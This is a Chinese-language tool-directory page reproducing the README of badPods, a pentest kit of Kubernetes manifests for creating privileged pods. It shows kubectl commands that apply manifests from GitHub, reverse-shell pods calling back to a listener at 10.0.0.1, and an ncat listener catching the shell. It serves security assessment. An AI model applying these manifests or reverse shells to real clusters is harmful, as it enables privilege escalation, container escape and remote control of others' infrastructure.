Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
badPods — 一组用于创建具有提升权限的 Pod 的清单。 | Kitploit
工具/GitHubGitHub/bishopfox/badpods
权限提升容器安全漏洞利用渗透测试云安全错误配置容器逃逸容器逃逸 分类第 6 名
GitHubbishopfox/badpods

badPods

一组用于创建具有提升权限的 Pod 的清单。

70611888个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库网站

Bad Pods

这是一组用于创建具有不同提升权限的 Pod 的 manifests。可快速演示允许 hostNetwork、hostPID、hostPath、hostIPC 和 privileged 等安全敏感 Pod 属性所带来的影响。

更多背景信息,请参阅我们的博客文章:Bad Pods: Kubernetes Pod 权限提升。

目录

  • Bad Pods 阵容
  • 先决条件
  • 组织方式
  • 使用方法
    • 总体思路
    • 使用示例
      • 从克隆的本地仓库创建全部八个 Bad Pods
      • 通过 Github 创建全部八个 Bad Pods
      • 创建全部八个反向 shell Bad Pods
      • 使用 everything-allowed pod 创建全部八种资源类型
      • 使用 hostNetwork pod 创建 cronjob
      • 使用 priv-and-hostpid pod 创建 deployment
      • 使用 privileged pod 创建反向 shell
  • 致谢
  • 参考资料与延伸阅读

Bad Pods 阵容

下方每个链接都提供了详细的使用说明和利用后(post-exploitation)建议。

  • Bad Pod #1: Everything allowed
  • Bad Pod #2: Privileged and hostPid
  • Bad Pod #3: Privileged only
  • Bad Pod #4: hostPath only
  • Bad Pod #5: hostPid only
  • Bad Pod #6: hostNetwork only
  • Bad Pod #7: hostIPC only
  • Bad Pod #8: Nothing allowed

关于先决条件、仓库组织方式以及常见使用模式的更多信息,请参阅以下章节。

先决条件

  1. 拥有对集群的访问权限
  2. 拥有在至少一个命名空间中创建以下资源类型的 RBAC 权限:
    • CronJob, DeamonSet, Deployment, Job, Pod, ReplicaSet, ReplicationController, StatefulSet
  3. 拥有对 Pod 执行 exec 的 RBAC 权限,或者具有允许 Pod 发出的反向 shell 连接到你处的网络策略。
  4. 未启用 Pod 安全策略(PSP),或者所实施的策略允许创建具有一个或多个安全敏感属性的 Pod

组织方式

  • 128 个自包含、开箱即用的 manifests。为什么这么多?
    • 8 个 Bad Pods(hostpid、hostnetwork、everything-allowed 等)
    • 8 种可以创建 Pod 的资源类型(pod、deployment、replicaset、statefulset 等)
    • 2 种访问所创建 Pod 的方式(exec 与反向 shell)
root@kitploit:~
├── manifests
│   ├── everything-allowed
│   │   ├── cronjob
│   │   │   ├── everything-allowed-exec-cronjob.yaml
│   │   │   └── everything-allowed-revshell-cronjob.yaml
│   │   ├── daemonset
│   │   │   ├── everything-allowed-exec-daemonset.yaml
│   │   │   └── everything-allowed-revshell-daemonset.yaml
│   │   ├── deployment
│   │   │   ├── everything-allowed-exec-deployment.yaml
│   │   │   └── everything-allowed-revshell-deployment.yaml
│   │   ├── job
│   │   │   ├── everything-allowed-exec-job.yaml
│   │   │   └── everything-allowed-revshell-job.yaml
│   │   ├── pod
│   │   │   ├── everything-allowed-exec-pod.yaml
│   │   │   └── everything-allowed-revshell-pod.yaml
│   │   ├── replicaset
│   │   │   ├── everything-allowed-exec-replicaset.yaml
│   │   │   └── everything-allowed-revshell-replicaset.yaml
│   │   ├── replicationcontroller
│   │   │   ├── everything-allowed-exec-replicationcontroller.yaml
│   │   │   └── everything-allowed-revshell-replicationcontroller.yaml
│   │   └── statefulset
│   │       ├── everything-allowed-exec-statefulset.yaml
│   │       └── everything-allowed-revshell-statefulset.yaml
│   ├── hostipc
│   │   ├── cronjob
│   │   │   ├── hostipc-exec-cronjob.yaml
│   │   │   └── hostipc-revshell-cronjob.yaml
│   │   ├── daemonset
│   │   │   ├── hostipc-exec-daemonset.yaml
│   │   │   └── hostipc-revshell-daemonset.yaml
...omitted for brevity...

创建 Pod 有八种方式

正如 Eviatar Gerzi (@g3rzi) 在文章 Eight Ways to Create a Pod 中指出的那样,共有 8 种不同的控制器可以创建一个 Pod 或一组 Pod。你可能没有创建 Pod 的权限,但也许可以创建另一种能创建一个或多个 Pod 的资源类型。对于每种 badPod 类型,都有对应全部八种资源类型的 manifests。

但别急,情况还可能更糟!除了目前八个可以创建 Pod 的 Kubernetes 控制器之外,还有一些第三方控制器——如果被应用到集群中,它们同样可以创建 Pod。请透过 kubectl api-resources 留意它们。

反向 Shell

虽然这种情况很常见,但你并非总能对创建的 Pod 执行 exec。为了应对这些情况,每个 manifest 都附带了一个使用 Rory McCune (@raesene) 的 ncat Docker Hub 镜像的版本。Pod 创建后会向你监听的地址发起加密回调。

使用方法

manifests 目录中的每个资源都针对一个特定属性或属性组合;当这些属性被允许时,会使集群面临风险。

总体思路

选项 1:系统化方法

  1. 评估 RBAC - 确定你可以创建哪些资源类型
  2. 评估准入策略 - 确定你可以创建哪些 Bad Pod
  3. 创建资源 - 根据被允许的内容,使用特定的 badPod 类型和资源类型创建你的资源
  4. 利用后阶段 - 按照该类型 README 中列出的利用后步骤进行评估
    • Everything allowed
    • Privileged and hostPid
    • Privileged only
    • hostPath only
    • hostPid only
    • hostNetwork only
    • hostIPC only
    • Nothing allowed

选项 2:广撒网式方法

  1. 创建资源 - 直接开始应用不同的 manifests,看看哪些能生效
    • 通过 Github 创建全部八个 Bad Pods
    • 使用 everything-allowed pod 创建全部八种资源类型
  2. 利用后阶段 - 对于任何已创建的 Pod,按照该类型 README 中列出的利用后步骤进行评估
    • Everything allowed
    • Privileged and hostPid
    • Privileged only
    • hostPath only
    • hostPid only
    • hostNetwork only
    • hostIPC only
    • Nothing allowed

使用示例

  • 从克隆的本地仓库创建全部八个 Bad Pods
  • 通过 Github 创建全部八个 Bad Pods
  • 创建全部八个反向 shell Bad Pods
  • 使用 everything-allowed pod 创建全部八种资源类型
  • 使用 hostNetwork pod 创建 cronjob
  • 使用 priv-and-hostpid pod 创建 deployment
  • 使用 privileged pod 创建反向 shell

从克隆的本地仓库创建全部八个 Bad Pods

root@kitploit:~
kubectl apply -f ./manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml
kubectl apply -f ./manifests/priv-and-hostpid/pod/priv-and-hostpid-exec-pod.yaml
kubectl apply -f ./manifests/priv/pod/priv-exec-pod.yaml
kubectl apply -f ./manifests/hostpath/pod/hostpath-exec-pod.yaml
kubectl apply -f ./manifests/hostpid/pod/hostpid-exec-pod.yaml
kubectl apply -f ./manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml
kubectl apply -f ./manifests/hostipc/pod/hostipc-exec-pod.yaml
kubectl apply -f ./manifests/nothing-allowed/pod/nothing-allowed-exec-pod.yaml

通过 Github 创建全部八个 Bad Pods

root@kitploit:~
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/priv-and-hostpid/pod/priv-and-hostpid-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/priv/pod/priv-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostpath/pod/hostpath-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostpid/pod/hostpid-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostipc/pod/hostipc-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/nothing-allowed/pod/nothing-allowed-exec-pod.yaml

创建全部八个反向 shell Bad Pods

为了避免在每个 pod 中编辑你的主机和端口,你可以使用环境变量和 envsubst 命令。记得先启动所有监听器!

root@kitploit:~
HOST="10.0.0.1" PORT="3111" envsubst < ./manifests/everything-allowed/pod/everything-allowed-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3112" envsubst < ./manifests/priv-and-hostpid/pod/priv-and-hostpid-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3113" envsubst < ./manifests/priv/pod/priv-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3114" envsubst < ./manifests/hostpath/pod/hostpath-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3115" envsubst < ./manifests/hostpid/pod/hostpid-revshell-pod.yaml  | kubectl apply -f -
HOST="10.0.0.1" PORT="3116" envsubst < ./manifests/hostnetwork/pod/hostnetwork-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3117" envsubst < ./manifests/hostipc/pod/hostipc-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3118" envsubst < ./manifests/nothing-allowed/pod/nothing-allowed-revshell-pod.yaml | kubectl apply -f -

使用 hostNetwork pod 创建 cronjob

root@kitploit:~
kubectl apply -f manifests/hostnetwork/cronjob/hostnetwork-exec-cronjob.yaml

找到创建的 Pod

root@kitploit:~
kubectl get pods | grep cronjob
 
NAME                                        READY   STATUS    RESTARTS   AGE
hostnetwork-exec-cronjob-1607351160-gm2x4   1/1     Running   0          24s

进入 Pod 执行命令

root@kitploit:~
kubectl exec -it hostnetwork-exec-cronjob-1607351160-gm2x4 -- bash

使用 priv-and-hostpid pod 创建 deployment

root@kitploit:~
kubectl apply -f manifests/priv-and-hostpid/deployment/priv-and-hostpid-exec-deployment.yaml

找到创建的 Pod

root@kitploit:~
kubectl get pods | grep deployment

priv-and-hostpid-exec-deployment-65dbfbf947-qwpz9   1/1     Running   0          56s
priv-and-hostpid-exec-deployment-65dbfbf947-tghqh   1/1     Running   0          56s

进入 Pod 执行命令

root@kitploit:~
kubectl exec -it priv-and-hostpid-exec-deployment-65dbfbf947-qwpz9 -- bash

使用 everything-allowed pod 创建全部八种资源类型

root@kitploit:~
find manifests/everything-allowed/ -name "*-exec-*.yaml" -exec kubectl apply -f {} \;

cronjob.batch/everything-allowed-exec-cronjob created
daemonset.apps/everything-allowed-exec-daemonset created
deployment.apps/everything-allowed-exec-deployment created
job.batch/everything-allowed-exec-job created
pod/everything-allowed-exec-pod created
replicaset.apps/everything-allowed-exec-replicaset created
replicationcontroller/everything-allowed-exec-replicationcontroller created
service/everything-allowed-exec-statefulset-service created
statefulset.apps/everything-allowed-exec-statefulset created

查看所有已创建的 Pod

root@kitploit:~
kubectl get pods

NAME                                                  READY   STATUS    RESTARTS   AGE
everything-allowed-exec-daemonset-qbrdb               1/1     Running   0          52s
everything-allowed-exec-deployment-6cd7685786-rp65h   1/1     Running   0          51s
everything-allowed-exec-deployment-6cd7685786-m66bl   1/1     Running   0          51s
everything-allowed-exec-job-fhsbt                     1/1     Running   0          50s
everything-allowed-exec-pod                           1/1     Running   0          50s
everything-allowed-exec-replicaset-tlp8v              1/1     Running   0          49s
everything-allowed-exec-replicaset-6znbz              1/1     Running   0          49s
everything-allowed-exec-replicationcontroller-z9k8n   1/1     Running   0          48s
everything-allowed-exec-replicationcontroller-m4648   1/1     Running   0          48s
everything-allowed-exec-statefulset-0                 1/1     Running   0          47s
everything-allowed-exec-statefulset-1                 1/1     Running   0          42s

删除所有 everything-allowed 资源

root@kitploit:~
find manifests/everything-allowed/ -name "*-exec-*.yaml" -exec kubectl delete -f {} \;

使用 privileged pod 创建反向 shell

设置监听器

root@kitploit:~
ncat --ssl -vlp 3116

使用环境变量和 envsubst 从本地 yaml 创建 pod,无需修改该文件

root@kitploit:~
HOST="10.0.0.1" PORT="3116" envsubst < ./yaml/priv/pod-priv-revshell.yaml | kubectl apply -f -

捕获 shell

root@kitploit:~
ncat --ssl -vlp 3116
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Generating a temporary 2048-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: Listening on :::3116
Ncat: Listening on 0.0.0.0:3116

Connection received on 10.0.0.162 42035

贡献

欢迎提交 Pull Request 和 Issue。

致谢

感谢 Rory McCune、Duffie Cooley、Brad Geesaman、Tabitha Sable、Ian Coldwater、Mark Manning、Eviatar Gerzi 和 Madhu Akula 公开分享了如此多关于 Kubernetes 攻击性安全的知识。

参考资料与延伸阅读

每个 Bad Pod 都有自己的参考资料与延伸阅读部分,但这里还有一些更通用的资源,可以帮助你提升 Kubernetes 安全评估和渗透测试技能。

2020 年的新起之秀

  • Container Security Site 作者 @raesene
  • CloudSecDocs - Container Security 作者 @lancinimarco
  • Risk8s Business: Risk Analysis of Kubernetes Clusters 作者 @antitree
  • 通过利用 RBAC 权限入侵 Kubernetes 集群 作者 @g3rzi - 演讲 / 幻灯片
  • Command and KubeCTL:面向渗透测试人员的真实 Kubernetes 安全 作者 @antitree - 演讲 / 博客
  • Kubernetes Goat 作者 @madhuakula - 仓库 / 指南

经典回顾,源自 2019 年

  • Secure Kubernetes - KubeCon NA 2019 CTF 作者 @tabbysable、@petermbenjamin、@jimmesta 和 @BradGeesaman
  • The Most Pointless Kubernetes Command Ever 作者 @raesene
  • The Path Less Traveled: Abusing Kubernetes Defaults 作者 @IanColdwater 和 @mauilion - 演讲 / 仓库
  • 理解 Docker 容器逃逸 作者 @disconnect3d_pl
  • 容器逃逸汇编 作者 @drraid 和 @0x7674
  • 通过 Kubelet 攻击 Kubernetes
下载工具